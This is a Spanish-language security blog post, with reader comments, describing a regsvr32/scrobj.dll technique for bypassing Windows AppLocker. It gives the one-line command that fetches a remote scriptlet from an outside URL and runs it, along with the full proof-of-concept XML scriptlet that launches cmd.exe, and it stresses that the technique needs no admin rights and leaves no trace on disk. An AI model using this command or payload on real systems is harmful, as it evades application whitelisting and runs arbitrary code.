Cómo saltarse el Applocker de Windows con un comando que cabe en un tweet

AppLocker es una característica que se introdujo en Windows Server 2008 R2 y Windows 7 y permite definir qué programas y scripts pueden o no pueden ejecutar los usuarios. Se utiliza sobretodo en empresas y universidades para impedir el uso de programas no relacionados con el trabajo y de paso puede evitar la ejecución de malware.


Recientemente un investigador de seguridad llamado Casey Smith ha encontrado una forma bastante simple que puede evadir las restricciones de AppLocker mendiante el fetcher HTTP. Véase el siguiente comando para Windows 10 Enterprise que cabe en un tweet:

regsvr32 /s /n /u /i:http://reg.cx/2kK3 scrobj.dll


Ya sabéis que regsvr32 es parte del sistema operativo y se puede utilizar para registrar y des-registrar scripts COM con el registro de Windows. /s le dice a regsvr32 que se ejecute en silencio, mediante /n no usaremos DllRegisterServer, /i pasa un parámetro opcional (nuestra URL) para DllInstall, /u significa que estamos tratando de anular el registro de un objeto y scrobj.dll es el Script Component Runtime de Microsoft.

Si se le pasa a regsvr32 una dirección URL a analizar, lo que hace realmente es descargarlo a través de HTTP o HTTPS, incluso a través de proxy, y procesarla. Insertando código JavaScript en un XML y provocando su ejecución mediante la solicitud de anulación del registro de una DLL es posible ejecutar cmd.exe:

<?XML version="1.0"?>
<scriptlet>
<registration 
    progid="Empire"
    classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
    <!-- Proof Of Concept - Casey Smith @subTee -->
    <script language="JScript">
        <![CDATA[
    
            var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");    
    
        ]]>
</script>
</registration>
</scriptlet>

Como veis, el Javascript embebido utiliza ActiveX para abrir una consola de comandos. Si cambiamos cmd.exe por cualquier otro programa que no esté en la lista blanca de AppLocker... ¡se ejecutará!

El truco (Smith no ha querido llamarlo exploit) es limpio, ya que no toca el registro, no necesita derechos de administrador, puede ser "envuelto" en una sesión HTTP cifrada y no deja ningún rastro en el disco ya que lo descarga a memoria.

Por el momento, no existe un parche para esto.

Fuente: Bypass the Windows AppLocker bouncer with a tweet-size command

6 comentarios :

  1. Un matiz: en Applocker, si tienes definidas listas blancas, del estilo, permito por PATH, si pones ahí cualquier comando que salga del program files o del %WINDIR%, es lo mismo que si haces, inicio, ejecutar y lanzar un programa que está permitido; si se sale de ese ámbito, esto no hace nada más, es decir, que no hace efecto...en memoria hace el wscript, pero el otro comando no, y por tanto, se bloquea igual que siempre.
    Gracias!

    ResponderEliminar
    Respuestas
    1. Exacto este "exploit" requiere condiciones expcificas de configuracion de AppLocker para que funcione..

      Eliminar
    2. Realmente requiere malas configuraciones de applocker, o lo que es lo mismo, no ponerlo :-)

      Eliminar
    3. Calma esas tetas anonimo, no entiendo a que viene tanta arrogancia, no lo descubriste tu, ese fué el problema, obviamente los "exploits" necesitan condiciones y configuraciones especificas. Simplemente muestran las condiciones en las que seria posible que esto funcione, eso es lo que hace, MOSTRAR QUE ES POSIBLE.

      Eliminar
    4. Aportando:
      Con reglas donde la condicion se basa en Hash es expotable.. Para reglas donde la condicion se basa en PAth no funciona..

      En todo caso muchos exploits requieren malas configuraciones de los admin para que sean efectivos

      En resumen (a mi criterio)... Muy valido el aporte

      Eliminar
    5. Siento anónimo haber parecido arrogante; obviamente no era la intención. Sí aclarar o matizar que no se salta el applocker creando las reglas por defecto, así de simple...por tanto, no llega a ser un "exploit" que se salte el applocker. Haz la prueba simplemente.
      En cuanto a reglas por hash, es obbvio que se las saltaría por la forma en que funciona la regla por hash, de ahí que haya que tener las reglas definidas bien, patch, scripts, etc. Un saludo, y por supuesto, muy buen aporte como siempre.

      Eliminar